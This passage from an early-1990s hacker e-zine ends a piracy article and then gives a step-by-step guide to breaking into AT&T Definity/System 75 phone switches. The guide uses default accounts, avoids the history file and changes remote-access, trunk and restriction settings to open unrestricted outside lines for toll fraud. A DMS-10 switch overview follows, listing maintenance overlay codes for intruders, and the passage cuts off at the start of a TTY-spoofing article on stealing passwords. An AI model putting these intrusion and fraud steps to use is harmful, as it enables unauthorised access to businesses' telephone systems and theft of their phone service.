one third of the volume of their copy-proof console cartridge counterparts.
Despite his preference for Amiga technology, Phil Thornton of System 3 Software
is "seriously reconsidering" future development of Amiga games. Myth, a two-
year project, sold pitiful amounts. Mr. Thornton was called by a pirate the
day it was released -- the game was available on a bulletin board. Because of
piracy, the sequel to the successful Putty will be mastered instead for the
Nintendo console.
This tactic may not help for long. The cracked Amiga release of Putty carried
an advertisement (added by pirates) for a Nintendo cartridge "backup" device.
Transferred to disk, a "pirate-proof" console game can be traded like any
other. Games for the Nintendo and Sega systems are available on most bulletin
boards.
Scotland Yard only takes an interest in bulletin boards bearing pornography,
though most also carry pirate software. Funded by the software industry, the
Federation Against Software Theft has successfully prosecuted only one board,
with "more pending."
This Christmas parents will buy hundreds of thousands of video games. Some
children will ask for modems; thus games will be on the bulletin boards by
Boxing Day, and the first day of term will see the heaviest trading of the
year.
AUTHOR'S NOTE: I considered using a pseudonym for this article. Two years
ago, a Newsweek reporter exposed the North American bulletin
board network. His credit rating, social security and bank
files were altered in a campaign of intimidation which included
death threats. Most of those responsible were 15-year-olds.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 6 of 13
A Brief Guide to Definity G Series Systems
a.k.a
System 75 - 85
Written by Scott Simpson
Greets to Jim Anderson, The Missing Link, Randy Hacker, Dark Druid,
Nickodemus, Mercury, Renegade, Infinity (enjoy the army!), Weirdo, TomCat,
GarbageHeap, Phrack Inc.
Basic History
~~~~~~~~~~~~~
Definity model systems came into existent in the later part of the 1970s. In
1983, AT&T came out with a revised model called 75. This system was built to
hold more incoming lines and did not have as many errors as the earlier version
did. The 1983 version was replaced with a version re-written in 1986. Today,
the systems are referred to as G models. System 75 is now called G1 and 85 is
called G2. A new model is currently available and is called the Definity G3I
which is Generic 3 with an Intel chip, and Definity G3R which is Generic 3 with
a Risk chip. There are 3 different versions to each model. Version one is the
most common and it is an XE Single Carrier Unit. The other two systems are 2
carriers. A system will usually cost somewhere around 50 to 80 thousand
dollars. You MIGHT come across a smaller version and it is called "Merlin
Legend." This system will hold about 50-100 lines. System 75 & 85 will hold
around 1000 lines. System 75/85 are used by companies to house all of their
incoming lines, as well as to send their incoming lines to destinations set up
by the owners, whether it be Audix or any other setup. There are many uses for
the system besides VMBs and PBXes. System 75/85 has three main functions that
hackers are interested in. They are the capabilities of VMB, bridging, and of
course PBX exchanges.
Discovering the System
~~~~~~~~~~~~~~~~~~~~~~
When you find a System 75, you will make a 1200/NONE connection (if HST used),
as most setups have a built in 1200 baud modem. Normally, the controller
number will not be in the same prefix as the business or the PBX and the line
is actually owned by AT&T. Try CNAing a System 75 line and it will tell you
that it is owned by AT&T. Once you find a carrier, you will need to be able to
display ANSI or some equivalent type of terminal graphics. Most are set to
N81, but some may be E71. My suggestion is to use ToneLoc which is produced by
Mucho Maas and Minor Threat. As you know, this program will scan for carriers
as well as tones. This program can be found on just about every ELEET H/P BBS.
Getting into the System
~~~~~~~~~~~~~~~~~~~~~~~
Getting into the system is the easy part if you have the defaults. You must
find them on your own and you will find out that a lot of people are not
willing to trade for them. There is one default that will enable you to snoop
around and tell whether or not they have a PBX, provided that they have not
changed the password or restricted the account. This one default is usually a
fully operational account without the privileges of altering any data but I
have come across a couple of systems where it wouldn't do anything. Using this
default account is a good way to start if you can find it. It is also good to
use any time you call and don't plan on changing anything. All actions by this
account are not kept in the system history file. Now on to the good stuff!!
Abusing System 75
~~~~~~~~~~~~~~~~~
After logging into a 75, there are several commands available depending on the
default you are using. This part will be for the basics. I will explain more
later for the more advanced people.
When you log in, you will have the commands LIST, DISPLAY, and a couple others
that don't matter. These are the only ones that you will need with the
aforementioned default. First type "DIS REM" (display remote access). If
there is a PBX set up on the system, it will be shown on the extension line.
The barrier code is the code to the PBX. If "none" appears, there is no code
and it's just 9+1. The extension line can either be 3 or 4 digits. Usually,
if it's 3 digits, it is run off of AUDIX (AUDio Information eXchange) or they
are smart and are hiding the one digit! Look at the dialplan and see if the
extensions are 3 or 4 digits. If it tells you that the extensions are three
digits, chances are that it is somewhere in the AUDIX system. If it's run off
of an AUDIX, look through all of the extensions by either list or display
'extensions' until you find one that says something like "remote extension" or
something that looks different. If the one digit is hidden, use ToneLoc and
scan for the digit needed. Next, display the trunk groups. This will tell you
the actual dial-up. If you don't find it here, don't panic. As you go through
the trunk groups, also look at the incoming destination as well as the night
destination. If any of these show the remote extension here, there is your
PBX. If not, keep looking through all of the trunk groups. Write down all of
the phone numbers it gives you and try them. They can usually be found on page
three or so.
A LOT of the time, places call forward a back line or so to the actual PBX. If
there is no remote access extension when you display the remote access, you are
shit out of luck unless you have a higher default and read the rest of this
text.
Setting Up Your Own PBX
~~~~~~~~~~~~~~~~~~~~~~~
If you have a higher default, you will notice that if you type help, you have
more commands that are available to you, such as change, download, etc.
Remember, the company can change the privileges of the defaults so if you
cannot see these commands, use another default. The first thing you want to do
is to display the dialplan. This will tell you the amount of digits and the
first digit of all of the sequences. Here is an example of a dialplan. There
are several ways the dialplan may look.
Number of Digits
-------1----2----3----4----5----6----7----8----9
--
F 1
I 2 Tac
R 3
S 4 Fac
T 5
6 Extension
D 7 Extension
I 8 Tac
G 9
I 0 Attendant
T *
#
Using the above chart, all extensions will start with either a 6 or 7 and will
be four digits long. The Tac is two digits, and will start with a 2 or an 8.
Don't worry about FAC or any others at this time.
After you make note of this, type "ch rem" (change remote access), go to the
extension line, and put in an extension. Next, find the trunk group that you
want to use and type "ch tru #". Go to the line for night service and put the
extension in there. If there is already an extension for night service on all
of the trunks, don't worry. If not, add it, and then save it. If it says
invalid extension, you misread the dialplan. If you pick an extension already
in use, it will tell you so when you try to install it in the remote extension
line in the remote address. Once all of this is completed, you may go back to
the remote access and add a code if you like, or you may just enter "none" and
that will be accepted. THE NEXT PART IS VERY IMPORTANT! Look at the trunk
that you installed and write down the COR number. Cancel that command and type
"dis cor #". Make sure that the Facilities Restriction Level (FRL) at the top
is set to 7 (7 is the least restricted level & 0 is the most) and that under
calling party restrictions & called party restrictions, the word "none" (lower
case) is there! If they are not, type "ch cor #" and make the changes. Last,
type "dis feature". This will display the feature access codes for the system.
There will be a line that says something like "SMDR Access Code." This will be
the code that you enter after the barrier code if there is one. I have seen
some be like *6, etc. Also, there will be, on page 2 I believe, something to
the like of outside call. usually it is set to 9 but check to be sure. That's
about it for this segment. All should be fine at this point. For those that
want a 24 hour PBX, this next section is for you.
For those of you that are greedy, and want a 24 hour PBX, most of the steps
above are the same. The only difference is that you will look through all of
the trunks until you come across one that has several incoming rotary lines in
it. Simply write down the port number and the phone number for future
reference and delete it by using the "ch" command. From the main prompt, type
"add tru #". For the TAC, enter a correct TAC number. Keep going until you
get to the COR. Enter a valid one and remember that the FRL should be set to
7, etc. Keep going...the next line that is vacant and needs something is the
incoming destination. Set it to the remote extension that you have created.
The next vacant line I think is type (towards the middle of the page). Enter
ground and it should print out "ground-start." If there is a mistake, it will
not save and it will send you to the line that needs to have something on it.
After all is done, it will save. After this segment, there is a copy of a
trunk and what it should look like for the use of a PBX. Next, go to page 3
and enter the port and phone number that you wrote down earlier. Save all of
the changes that you have made. This should be all you need.
One more way! If you scan through all of the extensions on the system, you may
find an "open" extension. This extension may be like the phone outside in the
waiting room or an empty office or whatever. This extension must be a valid
phone number on their network or must be reachable on their AUDIX for this
method to work. If you know how to add ports to Audix, this method will be best
for you since setting up a trunk is not needed. If you find something like
this, it's usually better to use this as your 24 hour PBX rather than taking
away a line for several reasons: 1) there are less changes that you must make
so there will be less data saved in the history file; 2) other people that have
legal uses for the line won't trip out when they get a dial tone; and 3) the
company will not notice for some time that they've lost an extension that is
hardly used! To set it up this way, you must delete the old info on that
extension by typing "remove extension #". It will then show you the station in
detail. Save it at that point and it will be deleted. Next go to the remote
access and enter the extension that you deleted on the remote extension line.
Next enter a barrier code or "none" if you don't want one. Save it! Doing it
this way USUALLY does not require a new trunk to be added since the port is
already in the system but if you run into problems, go back and add it through
the use of a trunk. You will still have to assign it a "cor" in the remote
access menu, and remember to make sure that the FRL and the restrictions are
set correctly as stated as above.
In part 2, if there is a demand, I will tell how to make a bridge off of a 75.
It is a lot more difficult, and requires a lot more reading of the manuals. If
anyone can obtain the manuals, I would strongly urge them to do so. Also
potentially in part 2, I will show how to create a VMB. If they have AUDIX
voice mail, chances are they have a 75!
So happy hunting and see ya soon!
If you need to get a hold of me to ask a question, you may catch me on the nets
or on IRC.
Enjoy!
Scott Simpson
-------------------------------------------------------------------------------
APPENDIX A : Example of a Trunk For PBXs
Trunk Group Page 1 of 5
-----------
Group Number # Group Type: co Smdr Reports: n
Group name: Whatever ya want Cor: # Tac: #
Mis Measured? n
Dial access: y Busy Threshold: 60 Night Service: What will answer
after hours
Queue length: 0 Abandoned call Search: n Incoming Dest: What will answer
any time the # is
called unless NS
has an extension.
Comm Type: voice Auth Code: n Digit Absorption List:
Prefix-1? n Restriction: code Allowed Calls List: n
Trunk-Type: Ground-start
Outgoing Dial type: tone
Trunk Termination: whatever it is Disconnect Timing: Whatever it is
to. set to.
ACA Assignments: n
[Page 2 is not all that important. It's usually used for all of the
[maintenance to the trunk etc. so leave it all set to its default setting.]
page 3 of 5
Port Name Mode Type Answer delay
1 Port number phone number
2
3
etc.
That's all that is needed for the trunks.
-------------------------------------------------------------------------------
APPENDIX B : Basic Commands and Terms
Basic Terminology
-----------------
COR - Class Of Restriction
FRL - Facilities Restriction Level
SMDR - Station Message Detail Recording
TAC - Trunk Access Code
FAC - Feature Access Code
Basic Commands for Default Emulation (513)
------------------------------------------
Esc Ow - Cancel
Esc [U - Next Page
Esc SB - Save
Esc Om - Help
Commands for 4410
-----------------
Esc Op - Cancel
Esc Ot - Help
Esc Ov - Next Page
Esc Ow - Back Page
Esc OR - Save
Esc Oq - Refresh
Esc Os - Clear Fields
Below is an explanation of all of the commands.
The following is a captured buffer of a login to System 75. I have captured
the commands and have edited the buffer to include brief definitions of the
commands.
Display and list are basically the same command, but display shows more
detailed information on the command that you select. For example, "list tru"
will list all of the trunk groups in the system. "dis tru" will ask for a
trunk number, and then display all of the information on that trunk.
CH Help
Please enter one of the following action command words:
add duplicate save
change list set
clear monitor status
display remove
Or enter 'logoff' to logoff the system
Add - Is pretty self-explanatory
Change - Is also self-explanatory
Clear - will clear out the segment
Duplicate - will duplicate the process
List - self-explanatory
Monitor - used for testing, and monitoring the system
Remove - remove anything from the system EXCEPT the History File! Sorry
guys!
Save - saves work done
Set - sets the time, etc.
Status - shows current status of the system
List Help
Please enter one of the following object command words:
COMMANDS UNDER "LIST"
abbreviated-dialing groups-of-extension personal-CO-line
aca-parameters hunt-group pickup-group
bridged-extensions intercom-group station
configuration measurements term-ext-group
coverage modem-pool trunk-group
data-module performance
Or press CANCEL to cancel the command
Abbreviated-Dialing: Speed calling feature from their voice terminal
Aca-parameters: Automatic-Circuit-Assurance
Bridged Extensions: Used for bridging extensions together
Configuration: Overall system Configuration
Coverage: Call Coverage
Data-module: Description of the data module used
Groups Of Extensions: Lists all of the extensions available
Hunt-Group: Checks for active or idle status of extension numbers
Intercom-group: Lists the intercoms and their info
Modem-Pool: Allows switched connects between data modules and analog data
Performance: Shows the performance of the system
Personal-CO-line: Is for dedicated trunks to or from public terminals
Pickup-group: Pickup station setup
Station: Will list all of the available stations assigned
Term-ext-group: For terminating extension group
Trunk-Group: Lists ALL of the trunks; will NOT show all details like Display
Dis Help
Please enter one of the following object command words:
Commands Under 'Display'
abbreviated-dialing data-module personal-CO-line
alarms dialplan pickup-group
allowed-calls digit-absorption port
announcements ds1 psc
attendant errors remote-access
button-location-aca feature-access-codes route-pattern
circuit-packs hunt-group station
code-restriction intercom-group synchronization
communication-interface ixc-codes system-parameters
console-parameters listed-directory-numbers term-ext-group
cor modem-pool time
cos paging trunk-group
coverage permissions
Or press CANCEL to cancel the command
Abbreviated Dialing: Covered above, but shows more information
Alarms: Will show information on the alarms (which ones are on/off)
Allowed-Calls: Will show LD carrier codes and allowed call list
Announcements:
Attendant: Allows attendant to access trunks without voice terminals
Button-location-aca: Will show the location of the aca selected
circuit-packs: Tells types of lines used.
Code-Restriction: Shows restrictions for HNPA and FNPA
Communication-Interface: Information on the communication interface
Console-Parameters: Will list the parameters of the console, etc.
Cor: Class Of Restriction (will show the cor for the # entered)
Cos: Class Of Service
Coverage: Shows the coverage of the system (voice terminals, etc.)
Data-Module: Will show information for the data channels entered
Dialplan: List the current config for extensions etc.
Digit-absorption:
Ds1: Used for tie-trunk services
Errors: Shows all of the errors on the system
Feature-Access_Codes: Lists all of the feature access codes for all of the
features on the entire system
Hunt-Group: As above, but will tell more information for the # you enter
Intercom Group: Lists all of the names and their intercom assignments
IXC-Codes: Inter-eXchange Carrier codes
Listed-Directory: Lists the numbers in the directory of the system
Modem-Pool: Will show info on the channel you select (exp baud, parity, etc.)
Paging: Used for the paging stations on the voice terminals
Permissions: Will show the privileges of the other accounts/defaults
Personal-CO-Line: As above but more descriptive
Pickup-Group: Shows names and extensions in the specified group number
Port: Will show the info on the port you ask about
PSC: Keeps a call between to data points connected while the system is active
Remote-Access: Will show the Remote Access that is there (if any)
Route-Pattern: The pattern of routing within the voice terminals, etc.
Station: Will show detailed information on the station # you enter
Synchronization: Will show the location of the DS1 packs
System-Parameters: List of all of the available systems parameters
Term-Ext-Group: As above but more descriptive
Time: Will show the current time and date
Trunk-Group: Will show all available information for the trunk you select
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 7 of 13
How To Build A DMS-10 Switch
by The Cavalier
Society for the Freedom of Information
March 11, 1992
With the telephone network's complexity growing exponentially as the
decades roll by, it is more important than ever for the telecom enthusiast to
understand the capabilities and function of a typical Central Office (CO)
switch. This text file (condensed from several hundred pages of Northern
Telecom documentation) describes the features and workings of the Digital
Multiplex Switch (DMS)-10 digital network switch, and with more than an average
amount of imagination, you could possibly build your own.
The DMS-10 switch is the "little brother" of the DMS-100 switch, and the
main difference between the two is the line capacity. The DMS line is in
direct competition to AT&T's ESS line (for the experienced folks, the features
covered are the as those included in the NT Software Generic Release 405.20 for
the 400 Series DMS-10 switch).
Table of Contents
~~~~~~~~~~~~~~~~~
I. OVERVIEW/CPU HARDWARE SPECS
II. NETWORK SPECS
1. Network Hardware
2. Network Software
3. Advanced Network Services
III. EXTERNAL EQUIPMENT SPECS
1. Billing Hardware
2. Recorded Announcement Units
3. Other Misc. Hardware
IV. MAINTENANCE AND ADMINISTRATION
1. OAM
2. Interactive Overlay Software Guide
V. SPEC SHEET
VI. LIMITED GLOSSARY
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I. OVERVIEW/CPU HARDWARE SPECS
Overview
The DMS-10 switch is capable of handling up to 10,800 lines, and was
designed for suburban business centers, office parks, and rural areas. It can
be installed into a cluster configuration to centralize maintenance and
administration procedures and to increase combined line capacity to 50,000
lines. It is capable of functioning as an End Office (EO), an Equal Access End
Office (EAEO), and an Access Tandem (AT), and is a known as a Class 5 switch.
It supports up to 3,408 trunks and 16,000 directory numbers. It can outpulse
in DP (Dial Pulse), MF (Multi-Frequency), or DTMF (Dual-Tone Multi-Frequency),
insuring compatibility with new and old switches alike (translation -- the
switch is small, by most standards, but it has massive bounce for the ounce).
Hardware Specifications
The DMS-10 switch itself is a 680x0-based computer with 1 MB of RAM in its
default configuration. The processor and memory are both duplicated; the
backup processor remains in warm standby. The memory system is known as the
n+1 system, meaning that the memory is totally duplicated.
II. NETWORK SPECS
Network Hardware
The DMS-10 network hardware consists mostly of PEs, or Peripheral
Equipment trunk and line packs. The PEs take the incoming analog voice
signals, digitalize them into 8 bit PCM (Pulse Code Modulation) signals, and
feed it into the main transmission matrix section of the switch. There, it is
routed to another trunk or line and converted back into an analog signal for
retransmission over the other side of the call. Note that manipulating voice
in the digital domain allows the signal to be rerouted, monitored, or
retransmitted across the country without any reduction in signal quality as
long as the signals remain in PCM format. <Hint!>
Network Software
The DMS-10 has a variety of software available to meet many customers'
switching needs. A good example of this software is the ability of several
DMS-10 switches to be set up in a cluster (or star configuration, for those of
you familiar with network topologies). In this arrangement, one DMS-10 is set
up as the HSO (Host Switching Office) and up to 16 DMS-10s are set up as SSOs
(Satellite Switching Offices), allowing all billing, maintenance, and
administration to be handled from the HSO. Additionally, all satellites can
function on their own if disconnected from the HSO.
Another feature of the DMS-10's network software are nailed-up
connections, commonly known as loops. The DMS-10 supports up to 48 loops
between any two points. The connections are constantly monitored by the switch
computer, and if any are interrupted, they are re-established.
Meridian Digital Centrex (MDC) is the name given to a group of features
that enable businesses to enjoy the benefits of having PBX (Private Branch
Exchange) equipment by simply making a phone call to the local telco.
Advanced Network Services (ANS)
If the DMS-10 is upgraded with the 400E 32-bit RISC processor, the switch
will be able to handle 12,000 lines, enjoy a speed improvement of 80%, support
a six-fold increase in memory capacity, and, perhaps most importantly, will be
able to run NT's Advanced Network Services software. This software includes
Common Channel Signaling 7 (CCS7), Advanced Meridian Digital Centrex, DMS
SuperNode connectivity, and ISDN. CCS7 is the interswitch signaling protocol
for Signaling System 7, and the concept deserves another text file entirely
(see the New Fone eXpress/NFX articles on SS7).
III. EXTERNAL EQUIPMENT SPECS
Billing Format Specifications
The DMS-10 can record AMA (Automatic Message Accounting) billing data in
either Bellcore or Northern Telecom format, and it can save this data in one of
several ways:
- by saving onto a 9-track 800 BPI (Bits-Per-Inch) density tape drive
called an MTU (Magnetic Tape Unit)
- by saving onto a IOI (Input/Output Interface) pack with a 64 MB SCSI
(Small Computer System Interface) hard drive, and transferring to 1600
BPI tape drives for periodic transport to the RAO (Regional Accounting
Office)
- by transmitting the data through dial-up or dedicated telephone lines
with the Cook BMC (Billing Media Converter) II, a hard drive system that
will transmit the billing records on request directly to the RAO. The
Cook BMC II supports six different types of transmission formats, listed
below:
* AMATS (BOC) [max speed: 9600 bps]
Call records are stored using the Bellcore AMA format and polled
using the BX.25 protocol. Two polling ports are provided with one
functioning as a backup.
* BIP Compatible [max speed: 9600 bps (2400*4)]
Call records are stored using the Bellcore AMA format and polled
using the HDLC Lap B protocol. Four polling ports are provided
that can function simultaneously for a combined throughput of 9600
bps. This specification is compatible with GTE's Billing
Intermediate Processor.
* Bellcore AMA w/ BiSync polling [max speed: 9600 bps]
Call records are stored using the Bellcore AMA format and polled
using the IBM BiSync 3780 protocol. One polling port is provided.
This option is intended for operating companies who use independent
data centers or public domain protocols for data processing.
* Bellcore AMA w/ HDLC polling [max speed: 9600 bps]
Call records are stored using the Bellcore AMA format and polled
using the HDLC (High-level Data Link Control) protocol. One port
is provided.
* NT AMA w/ HDLC polling [max speed: 9600 bps]
Call records are stored using the Northern Telecom AMA format and
polled using the HDLC protocol.
* NT AMA w/ BiSync polling [max speed: 4800 bps]
Call records are stored using the Northern Telecom AMA format and
polled using the BiSync protocol.
- by interfacing with AT&T's AMATS (Automatic Message Accounting
Teleprocessing System)
- by interfacing with the Telesciences PDU-20
All of the above storage-based systems are fully fault-tolerant, and the
polled systems can store already-polled data for re-polling.
Recorded Announcement Units
The DMS-10 system may be interfaced to one or more recorded announcement
units through two-wire E&M trunks. Some units supported include the Northern
Telecom integrated Digital Recorded Announcement Printed Circuit Pack (DRA
PCP), the Cook Digital Announcer or the Audichron IIS System 2E.
The DRA PCP is integrated with the DMS-10 system, as opposed to the Cook
and Audichron units, which are external to the switch itself. It provides
recorded announcements on a plug-in basis and offers the following features:
- Four ports for subscriber access to announcements
- Immediate connection when pack is idle
- Ringback tone when busy until a port is free
- Switch-selectable message lengths (up to 16 seconds)
- Local and remote access available for message recording
- Memory can be optionally battery-backed in case of power loss
- No MDF (Main Distribution Frame) wiring required
Other External Hardware
The DMS-10 can also support the Tellabs 292 Emergency Reporting System,
the NT Model 3703 Local Test Cabinet, and the NT FMT-150 fiber optic
transmission system. More on this stuff later, perhaps.
IV. MAINTENANCE AND ADMINISTRATION
OAM
---
OAM, or Operations, Administration, and Maintenance functions, are
performed through an on-site maintenance terminal or through a remote
maintenance dial-in connection. The DMS-10 communicates at speeds ranging from
110 to 9600 baud through the RS-232C port (standard) in ASCII. There can be up
to 16 connections or terminals for maintenance, and security classes may be
assigned to different terminals, so that the terminal can only access the
programs that are necessary for that person's job. The terminals are also
password protected, and bad password attempts result in denied access, user
castration and the detonation of three megatons of on-site TNT. <Just kidding>
The software model for the DMS-10 consists of a core program which loads
overlays for separate management functions. These overlays can be one of two
types: either free-running, which are roughly analogous to daemons on Unix
environments, which are scheduled automatically; or interactive, which
communicate directly with the terminal user.
The major free-running programs are the Control Equipment Diagnostic
(CED), the Network Equipment Diagnostic (NED), the Peripheral Equipment
Diagnostic (PED), and the Digital Equipment Diagnostic (DED). The CED runs
once every 24 hours, and tests the equipment associated with the CPU buses and
the backup CPU. The NED runs whenever it feels like it and scans for faults in
the network and proceeds to deal with them, usually by switching to backup
hardware and initiating alarm sequences. The PED is scheduled when the switch
is installed to run whenever the telco wants it to, and it systematically tests
every single trunk and line connected to that central office (CO). The DED
tests the incoming line equipment that converts analog voice to digital PCM.
Now, for interactive programs (a.k.a. interactive overlays), I'm going to
list all of their codes, just in case one of you gets lucky out there. To
switch to an overlay, type OVLY <overlay>. To switch to a sub-overlay, type
CHG <sub-overlay>. Keep in mind that NT has also installed help systems on
some of their software, accessible by pressing "?" at prompts. Here we go:
Overlay Explanation and Prompting Sequences
------- -----------------------------------
ALRM Alarms
ALPT - Alarm scan points
SDPT - Signal distribution points
AMA Automatic Message Accounting
AMA - Automatic Message Accounting
MRTI - Message-rate treatment index
PULS - Message-rate pulsing table
TARE - Tariff table
AREA Area
CO - Central Office Code
HNPA - Home Numbering Plan Area
RC - Rate Center
RTP - Rate Treatment Package
CLI Calling Line Identification
CNFG Configuration Record
ALRM - Alarm System Parameters
AMA - Automatic Message Accounting parameters
BUFF - System Buffers
CCS - Custom Calling Services
CCS7 - Common Channel Signaling No. 7
CDIG - Circle Digit Translation
CE - Common Equipment Data
CLUS - Cluster data
COTM - Central Office overload call timing
CP - Call processing parameters
CROT - Centralized Automatic Reporting of Trunks
CRTM - Central Office regular call processing timing
CSUS - Centralized Automatic Message Accounting suspension
DLC - Data Link Controller assignment for clusters
E800 - Enhanced 800 Service
FEAT - Features
GCON - Generic Conditions
HMCL - Host message class assignment
IOI - Secondary input/output interface pack(s)
IOSF - Input/Output Shelf Assignment
LCDR - Local Call Detail Recording
LIT - Line Insulation Testing parameters
LOGU - Logical Units Assignments
MOVE - Move Remote Line Concentrating Module
MTCE - Maintenance Parameters
MTU - Magnetic Tape Unit Parameters
OPSM - Operational Measurements
OVLY - Overlay scheduling
PSWD - Password Access
SITE - Site assignments
SSO - Satellite Switching Office Assignments
SUB - Sub Switch
SYS - System parameters
TRB - Periodic trouble status reporting
VERS - Version
CPK Circuit Pack
ACT - AC Testing Definition
DCM - Digital Carrier Module
LPK - Line Concentrating Equipment line packs
PACK - Peripheral Equipment packs
PMS - Peripheral Maintenance System pack
PSHF - Peripheral Equipment Shelf
RMM - Remote Maintenance Module
RMPK - Remote shelf
RSHF - Remote Concentration Line Shelf
SBLN - Standby line
SLC - SLC-96
SLPK - SLC-96 pack
DN Directory Number
ACDN - Access Directory Number
CRST - Specific Carrier Restricted
ICP - Intercept
RCFA - Remote Call Forwarding appearance
ROTL - Remote Office Test Line
STN - Station Definition
EQA Equal Access
CARR - Carrier Data Items
CC - Country Codes
HUNT Hunting
DNH - Directory Number Hunting
EBS - Enhanced Business Services hunting
KEY - Stop hunt or random make busy hunting
LAN Local Area Network
LAC - LAN Application Controller
LCI - LAN CPU Interface
LSHF - Message LAN Shelf
NET Network
D1PK - DS-1 interface pack (SCM-10S)
1FAC - Interface packs
LCM - Line Concentrating Module
LCMC - Line Concentrating Controller Module
NWPK - Network Packs
RCT - Remote Concentrator Terminal
REM - Remote Equipment Module
RSLC - Remote Subscriber Line Module Controller
RSLE - Remote Subscriber Line Equipment
RSLM - Remote Subscriber Line Module
SCM - Subscriber Carrier Module (DMS-1)
SCS - SCM-10S shelf (SLC-96)
SRI - Subscriber Remote Interface pack
NTWK Network
ACT - AC Testing definition
D1PK - DS-1 interface pack (SCM-10S)
DCM - Digital Carrier Module
1FAC - Interface packs
LCM - Line Concentrating Module
LPK - Line Concentrating Equipment line packs
NWPK - Network packs
PACK - Peripheral Equipment packs
PMS - Peripheral Maintenance System packs
PSHF - Peripheral Equipment Shelf
RCT - Remote Concentrator Terminal
REM - Remote Equipment Module
RSHF - Remote Shelf
SBLN - Standby line
SCM - Subscriber Carrier Module
SCS - SCM-10S Shelf (SLC-96)
SLC - SLC-96
SLPK - SLC-96 Line Packs
SRI - Subscriber Remote Interface (RLCM)
ODQ Office Data Query
ACDN - Access Directory Number
CG - Carrier group
CNTS - Counts
DN - Directory Number
DTRK - Digital Trunks (line and trunk)
LINE - Lines (line and trunk)
PIN - Personal Identification Number
STOR - Memory Storage
TG - Trunk Group
TRK - Trunks (line and trunk)
QTRN Query Translations
ADDR - Address Translations
EBSP - Enhanced Business Services prefix translations
ESAP - Emergency Stand-Alone Prefix
PRFX - Prefix translations
SCRN - Screening translations
TRVR - Translation verification
ROUT Routes
CONN - Nailed-up connections
DEST - Destinations
POS - Centralized Automatic Message Accounting positions
ROUT - Routes
TR - Toll regions
SNET CCS7 Signaling Network
SNLS - Signaling Link Set
SNL - Signaling Link
SNRS - Signaling Network Route Set
TG Trunk Groups
INC - Incoming trunk groups
OUT - Outgoing trunk groups
2WAY - Two-way trunk groups
THGP Thousands Groups
TRAC Call Tracing
TRK Trunks
DTRK - Digital Trunks
TRK - Analog or digital recorded announcement trunks
TRNS Translations
ADDR - Address translations
EBSP - EBS prefix translations
ESAP - Emergency Stand-Alone prefix
PRFX - Prefix translations
SCRN - Screening translations
V. SPEC SHEET
Maximum # Subscriber Lines: 10,800
(in stand-alone mode)
Maximum # Trunks: 3,408
- Incoming Trunk Groups: 127
- Outgoing Trunk Groups: 127
- Two-way Trunk Groups: 127
- Maximum Routes: 512
- Maximum Trunks per Group: 255
Directory Numbers: 16,000
Office Codes: 8
Home Numbering Plan Area: 4
Thousands Groups: 64
Number of Network Groups: 1 or 2
Total Network Capacity:
- One Network Module: 5,400 POTS lines + 600 trunks
- Two Network Module: 10,800 POTS lines + 1,200 trunks
Traffic
- Busy Hour Calls 38,000
- Average Busy Season 29,000
Busy Hour Attempts
- CCS per line 5.18 centi call seconds
- CCS per trunk 27.0 centi call seconds
- Total CCS 133,000 centi call seconds
Outpulsing DP, MF, or DTMF
Inpulsing
- Trunks DP, MF, or DTMF
- Lines DP or DTMF
Register Capacity
- Outgoing DP=16 digits
DTMF=16 digits
MF=14 digits+KP+ST
LEAS MF=20 digits+KP+ST
[LEAS Route Access]
- Incoming DP=14 digits
DTMF=16 digits
MF=14 digits
VI. LIMITED GLOSSARY
DP - Dial Pulse. A form of signaling that transmits pulse trains to indicate
digits. Slow compared to DTMF and MF. Made obsolete by DTMF. Old
step-by-step switches use this method, and there are still quite a few
subscriber lines that use DP, even though DTMF is available.
In-band Signaling - Transmitting control signals in the 300 - 3300 hz voice
band, meaning that they're audible to subscribers.
Out-of-band Signaling - Transmitting control signals above or below the 300 -
3300 hz voice band. See SS7, CCS7.
DTMF - Dual Tone Multi-Frequency. A form of in-band signaling that transmits
two tones simultaneously to indicate a digit. One tone indicates the
row and the other indicates a column. A fast, technically simple way of
dialing that is in use almost all over the United States. White boxes
generate DTMF tones, a.k.a. "Touch Tones" or Digitones. See DP, MF.
MF - Multi-frequency. A form of in-band signaling similar to DTMF, except the
signals are encoded differently (i.e., the row and column tones are
different, because the keypad for MF tones isn't laid out in a rectangular
matrix). These are the "operator tones." Blue boxes generate these
tones. See DTMF, In-band signaling.
CCS7 - Common Channel Signaling 7. Part of the Signaling System 7
specification, CCS7 transmits control signals either above or below the
voice band to control switch equipment, so control signals may be
transmitted simultaneously with voice. See SS7.
SS7 - Signaling System 7. An inter-switch signaling protocol developed by
Bellcore, the RBOCs' research consortium. Relatively new, this protocol
can be run only on digital switches. See CCS7, CLASS.
CLASS - Custom Local Area Signaling Services. Several subscriber-line features
that are just being introduced around the United States at the time of
this article. See SS7, CCS7.
Centrex - A scheme that turns a switch into an off-site PBX for business users.
It can usually co-exist with existing lines.
If anyone has any more questions, contact me at WWIVNet THE CAVALIER@3464.
Thanks to Northern Telecom (the nicest sales staff in the world of switch
manufacturers, with a killer product to boot!), Pink Flamingo, Taran King,
Grim, and the crew who supported the NFX in "days of yore."
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 8 of 13
++++++++++++++++++++++++++++
+++++++ +++++++
+++++++ TTY SPOOFING +++++++
+++++++ +++++++
++++++ BY ++++++
+++++ +++++
+++ VaxBuster +++
++ ++
++++++++++++++++++++++++++++
July 16, 1992
Please note that this file is ONLY to be distributed as part of Phrack,
and will NOT be distributed to any other person or magazine for release.
More detailed instructions have been provided so that the novice hacker is
able to understand them; therefore, all experienced hackers should be able to
breeze right through this without having to worry about the specific command
syntax provided.
On UNIX systems, there are many ways to obtain account names and
passwords. Some hackers prefer to swipe the password file and run programs
like Crack and Killer Cracker on them in order to get account names and
passwords. Others rely on bugs or holes in the system in order to gain root
access. Both these methods work, but what do you do if your password file is
shadowed (and it is NOT a yellow pages file!)? And what do you do if all the
holes have been patched over from years of previous hackers abusing them? Well,
I happen to have found a system where all this is true. I have even allowed
hackers to use one of my accounts to try to gain root privs, and of the 10 or
so that have tried, they have all failed. My only recourse was to find SOME
other way to get accounts on the system to maintain MY security.
TTY spoofing is often looked at as being lame, and some don't even
consider it a "hacking technique." People usually completely overlook it, and
many others don't even know about it, or know HOW to do it. I suppose I should
start out by defining the term. TTY spoofing is either installing a Trojan
horse type program to sit and watch a certain (or multiple) tty and wait for a
